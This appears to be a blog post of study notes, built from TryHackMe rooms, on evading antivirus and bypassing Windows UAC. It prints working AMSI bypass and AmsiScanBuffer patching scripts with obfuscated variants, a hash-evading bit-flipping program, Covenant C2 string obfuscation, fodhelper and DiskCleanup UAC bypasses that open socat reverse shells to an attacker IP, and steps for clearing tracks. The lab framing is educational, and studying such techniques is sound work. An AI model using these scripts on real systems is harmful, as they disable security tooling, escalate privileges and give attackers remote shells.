This script will result in 1 binaries being written to "C:\Users\TryHackMe"!
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

ThreatCheck

ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable.

GitHub – rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.

C:\Users\Rasta>ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
[+] Target file size: 31744 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x6D7A
00000000   65 00 22 00 3A 00 22 00  7B 00 32 00 7D 00 22 00   e·"·:·"·{·2·}·"·
00000010   2C 00 22 00 74 00 6F 00  6B 00 65 00 6E 00 22 00   ,·"·t·o·k·e·n·"·
00000020   3A 00 7B 00 33 00 7D 00  7D 00 7D 00 00 43 7B 00   :·{·3·}·}·}··C{·
00000030   7B 00 22 00 73 00 74 00  61 00 74 00 75 00 73 00   {·"·s·t·a·t·u·s·
00000040   22 00 3A 00 22 00 7B 00  30 00 7D 00 22 00 2C 00   "·:·"·{·0·}·"·,·
00000050   22 00 6F 00 75 00 74 00  70 00 75 00 74 00 22 00   "·o·u·t·p·u·t·"·
00000060   3A 00 22 00 7B 00 31 00  7D 00 22 00 7D 00 7D 00   :·"·{·1·}·"·}·}·
00000070   00 80 B3 7B 00 7B 00 22  00 47 00 55 00 49 00 44   ·?³{·{·"·G·U·I·D
00000080   00 22 00 3A 00 22 00 7B  00 30 00 7D 00 22 00 2C   ·"·:·"·{·0·}·"·,
00000090   00 22 00 54 00 79 00 70  00 65 00 22 00 3A 00 7B   ·"·T·y·p·e·"·:·{
000000A0   00 31 00 7D 00 2C 00 22  00 4D 00 65 00 74 00 61   ·1·}·,·"·M·e·t·a
000000B0   00 22 00 3A 00 22 00 7B  00 32 00 7D 00 22 00 2C   ·"·:·"·{·2·}·"·,
000000C0   00 22 00 49 00 56 00 22  00 3A 00 22 00 7B 00 33   ·"·I·V·"·:·"·{·3
000000D0   00 7D 00 22 00 2C 00 22  00 45 00 6E 00 63 00 72   ·}·"·,·"·E·n·c·r
000000E0   00 79 00 70 00 74 00 65  00 64 00 4D 00 65 00 73   ·y·p·t·e·d·M·e·s
000000F0   00 73 00 61 00 67 00 65  00 22 00 3A 00 22 00 7B   ·s·a·g·e·"·:·"·{

AmsiTrigger

GitHub – RythmStick/AMSITrigger: The Hunt for Malicious Strings

AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does.


PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Static Code-Based Signatures

Once we have identified a troublesome signature we need to decide how we want to deal with it. 

Obfuscating methods

Obfuscation MethodPurpose
Method ProxyCreates a proxy method or a replacement object
Method Scattering/AggregationCombine multiple methods into one or scatter a method into several
Method CloneCreate replicas of a method and randomly call each

Obfuscating Classes

Obfuscation MethodPurpose
Class Hierarchy FlatteningCreate proxies for classes using interfaces
Class Splitting/CoalescingTransfer local variables or instruction groups to another class
Dropping ModifiersRemove class modifiers (public, private) and make all members public

Splitting and Merging Objects

The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality.

Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV – Offensive Defence

Original String

Below is the original string that is detected

string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

Obfuscated Method

Below is the new class used to replace and concatenate the string.

public static string GetMessageFormat // Format the public method
{
    get // Return the property value
    {
        var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // Start the built-in concatenation method
        sb.Append(@"""Type"":{1},"); // Append substrings onto the string
        sb.Append(@"""Meta"":""{2}"",");
        sb.Append(@"""IV"":""{3}"",");
        sb.Append(@"""EncryptedMessage"":""{4}"",");
        sb.Append(@"""HMAC"":""{5}""}}");
        return sb.ToString(); // Return the concatenated string to the class
    }
}

string MessageFormat = GetMessageFormat

Removing and Obscuring Identifiable Information

The process of removing or obscuring identifiable information to protect privacy and maintain anonymity.

In the task below AmsiTrigger detected that “AmsiScanBuffer” is triggered. So we have to obfuscate it.

Original

This code loads the Kernel32 type, retrieves the address of the AmsiScanBuffer function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective.

$MethodDefinition = "

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = "AmsiScanBuffer"
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Obscured

$MethodDefinition = "

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join ''
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Static Property-Based Signatures

Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma.

File hashes

file hash, also known as a checksum, is used to tag/identify a unique file. 

If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash. 

When dealing with a signed or closed-source application, we must employ bit-flipping.

Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality.

using System;
using System.IO;

class Program
{
    static void Main(string[] args)
    {
        byte[] orig = File.ReadAllBytes(args[0]);

        for (int i = 0; i < orig.Length; i++)
        {
            byte[] current = new byte[orig.Length];
            Array.Copy(orig, current, orig.Length);
            current[i] = (byte)(current[i] ^ 0xde);
            string path = $"{i}.exe";

            File.WriteAllBytes(path, current);
        }

        Console.WriteLine("done");
    }
}

This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (i.exe). The ^ operator is used for bitwise XOR operation to flip the bits. Finally, it prints “done” when the process is completed.

Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping msbuild, we need to use signtool to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution.

We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation.

FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a flipped\\%%A.exe
)

Entropy

Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators.

Behavioral Signatures


Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header.

Windows Sockets 2 – Win32 apps | Microsoft Learn

Find Syntax for API calls

How to inspect Import Address Table (IAT)

.EXE

To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples:

  1. Using Dependency Walker (Windows):
  • Download and install Dependency Walker from the official website: http://www.dependencywalker.com/
  • Launch Dependency Walker and open the EXE file you want to inspect.
  • It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT.
  1. Using PEView (Windows):
  • Download and install PEView from the official website: http://wjradburn.com/software/
  • Launch PEView and open the EXE file you want to inspect.
  • Navigate to the “Imported DLLs” section, which will show the imported functions and the corresponding DLLs in the IAT.
  1. Using objdump (Linux):
  • Open a terminal and navigate to the directory where the EXE file is located.
  • Run the following command to display the IAT:
  • objdump -p <binary_file>
  • Replace <binary_file> with the name of your EXE file.
  • Look for the “Dynamic Section” or “Import Section” in the output. It will contain information about imported symbols and the corresponding shared libraries.

2. Using PE Explorer

PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)

3. Using IDA Pro

  • Load the PE binary
  • Once loaded, click on the “Imports” tab.
  • Look for the API calls.

.ELF

To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples:

  1. Using readelf (Linux):
  • Open a terminal and navigate to the directory where the ELF file is located.
  • Run the following command to display the dynamic section and imported symbols:
    readelf -d <binary_file>
    Replace <binary_file> with the name of your ELF file.
  • Look for the “Dynamic Section” in the output. It will contain information about imported symbols and the corresponding shared libraries.
  1. Using objdump (Linux):
  • Open a terminal and navigate to the directory where the ELF file is located.
  • Run the following command to display the dynamic section and imported symbols:
    objdump -p <binary_file>
    Replace <binary_file> with the name of your ELF file.
  • Look for the “Dynamic Section” or “Import Section” in the output. It will contain information about imported symbols and the corresponding shared libraries.
  1. Using nm (Linux):
  • Open a terminal and navigate to the directory where the ELF file is located.
  • Run the following command to display the symbols and their associated libraries:
    nm -D <binary_file>
    Replace <binary_file> with the name of your ELF file.
  • Look for the symbols starting with “U” (meaning undefined). These symbols represent imported functions.

High-level Dynamic Loading in C

At a high level, we can break up dynamic loading in C languages into four steps,

  1. Define the structure of the call
  2. Obtain the handle of the module the call address is present in
  3. Obtain the process address of the call
  4. Use the newly created call

To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for GetComputerNameA can be found here. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below.

// 1. Define the structure of the call
typedef BOOL (WINAPI* myNotGetComputerNameA)(
	LPSTR   lpBuffer,
	LPDWORD nSize
);

To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly kernel32.dll or ntdll.dll for any Windows API calls. Below is an example of the syntax required to load a library into a module handle.

// 2. Obtain the handle of the module the call address is present in 
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");

Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the LoadLibrary call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call.

// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");

Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, GetProcAddress and LoadLibraryA are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using PIC (Position Independent Code). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using API unhooking.

Task

Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT.

Original

#include <windows.h>
#include <stdio.h>
#include <lm.h>

int main() {
    printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (GetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}

Obfuscated

#include <windows.h>
#include <stdio.h>
#include <lm.h>

// 1. Define the structure of the call
typedef BOOL(WINAPI* myNotGetComputerNameA)(
    LPSTR   lpBuffer,
    LPDWORD nSize
    );


int main() {
    // 2. Obtain the handle of the module the call address is present in 
    HMODULE hkernel32 = LoadLibraryA("kernel32.dll");

    // 3. Obtain the process address of the call
    myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA");


    printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (notGetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}

UAC Bypass

User Account Control

What is UAC?

User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can’t solely rely on the user’s identity to determine if some actions should be authorized.

Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you’re not entirely sure if it’s legitimate. Without thinking much about it, you download and open the file.

Now, let’s consider two scenarios: one with UAC disabled and the other with UAC enabled.

  1. UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer’s security is at risk.
  2. UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you’re suspicious or uncertain about the file’s source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer.

Integrity Levels


UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people.

UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It’s like having a higher security clearance that allows you to enter certain areas.

In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It’s like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL.

The following 4 ILs are used by Windows, ordered from lowest to highest:

Integrity LevelUse
LowGenerally used for interaction with the Internet (i.e. Internet Explorer). Has very limited permissions.
MediumAssigned to standard users and Administrators’ filtered tokens.
HighUsed by Administrators’ elevated tokens if UAC is enabled. If UAC is disabled, all administrators will always use a high IL token.
SystemReserved for system use.

Filtered Tokens

To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon:

  • Non-administrators will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.
  • Administrators will receive two access tokens:
    • Filtered Token: A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.
    • Elevated Token: A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL.

UAC Internals

At the heart of UAC, we have the Application Information Service or Appinfo. Whenever a user requires elevation, the following occurs:

  1. The user requests to run an application as administrator.
  2. ShellExecute API call is made using the runas verb.
  3. The request gets forwarded to Appinfo to handle elevation.
  4. The application manifest is checked to see if AutoElevation is allowed (more on this later).
  5. Appinfo executes consent.exe, which shows the UAC prompt on a secure desktop. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user’s desktop to avoid other processes from tampering with the UAC prompt in any way.
  6. If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user’s Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.
https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/fce906f0e438efa938753430e5d25afe.png

UAC – GUI based Bypass

msconfig

azman.msc

UAC – Auto-elevating Process

Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel’s functionality and some executables provided with Windows.

For an application, some requirements need to be met to auto-elevate:

  • The executable must be signed by the Windows Publisher
  • The executable must be contained in a trusted directory, like %SystemRoot%/System32/ or %ProgramFiles%/

Some application may have additional requirments:

  • Executable files (.exe) must declare the autoElevate element inside their manifests. 

To check a file’s manifest, we can use sigcheck.

C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
	<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
		<dpiAware>true</dpiAware>
		<autoElevate>true</autoElevate>
	</asmv3:windowsSettings>
</asmv3:application>

Case study: Fodhelper

This will be caught by Windows defender without obfuscation because of registry-key manipulation.

# This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe

# Define the command you want to execute with elevated privileges
$yourevilcommand = "C:\Windows\System32\cmd.exe"

# Adding all the registry keys required to associate your command with ms-settings

# Create a new registry key for the ms-settings ProgID under the current user's hive
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force

# Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

# Set the default value of the ms-settings ProgID key to your evil command
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force

# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Cleaning up the mess created by removing the ms-settings registry key and its subkeys
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

UAC – Improving Fodhelper exploit to Bypass Windows Defender 

Instead of writing our payload into HKCU\Software\Classes\ms-settings\Shell\Open\command, we will use the CurVer entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type.

To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use.

The exploit code proposed by @V3ded.

This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV.

# Define the command you want to execute with elevated privileges
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"

# Creating file association for custom extension ".pwn" to execute your command

# Create a new registry key for the file extension ".pwn" under the current user's hive
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force

# Set the default value of the ".pwn" key to your program/command
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force

# Create a new registry key under the current user's hive for the ms-settings ProgID association
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force

# Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension)
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force

# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

Case study: Disk Cleanup Scheduled Task

Source: TryHackMe | Bypassing UAC

To understand why we are picking Disk Cleanup, let’s open the Task Scheduler and check the task’s configuration:

Here we can see that the task is configured to run with the Users account, which means it will inherit the privileges from the calling user. The Run with highest privileges option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn’t work.

Checking the Actions and Settings tabs, we have the following:

The task can be run on-demand, executing the following command when invoked:

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually.

Luckily for us, we can override the %windir% variable through the registry by creating an entry in HKCU\Environment. If we want to execute a reverse shell using socat, we can set %windir%  as follows (without the quotes):

"cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

At the end of our command, we concatenate “&REM ” (ending with a blank space) to comment whatever is put after %windir% when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed):

cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%

Where anything after the “REM” is ignored as a comment.

Putting it all together

Let’s set up a listener for a reverse shell with nc:
nc -lvp 4446

We will then connect to the backdoor provided on port 9999:
nc MACHINE_IP 9999

And finally, run the following commands to write our payload to %windir% and then execute the DiskCleanup task (be sure to replace your IP address where needed):

C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4446 EXEC:cmd.exe,pipes &REM " /f

C:\> schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

As a result, you should obtain a shell with high IL:

user@kali$ nc -lvp 4446      
Listening on 0.0.0.0 4446
Connection received on 10.10.183.127 25631
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288

To retrieve the DiskCleanup flag, use your new shell to execute:

Administrator: Command Prompt

C:\flags\GetFlag-diskcleanup.exe

Clearing our tracks

As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command:

reg delete "HKCU\Environment" /v "windir" /f

Living off the Land

What is Living off the Land?

“Living Off the Land” refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions.

Windows Sysinternals

The following are some popular Windows Sysinternals tools:

AccessChkHelps system administrators check specified access for files, directories, Registry keys, global objects, and Windows services.
PsExecA tool that executes programs on a remote system.
ADExplorerAn advanced Active Directory tool that helps to easily view and manage the AD database.
ProcDumpMonitors running processes for CPU spikes and the ability to dump memory for further analysis.
ProcMonAn essential tool for process monitoring.
TCPViewA tool that lists all TCP and UDP connections.
PsToolsThe first tool designed in the Sysinternals suite to help list detailed information.
PortmonMonitors and displays all serial and parallel port activity on a system.
WhoisProvides information for a specified domain name or IP address.

LOLBAS Project

LOLBAS (lolbas-project.github.io)

Similar Posts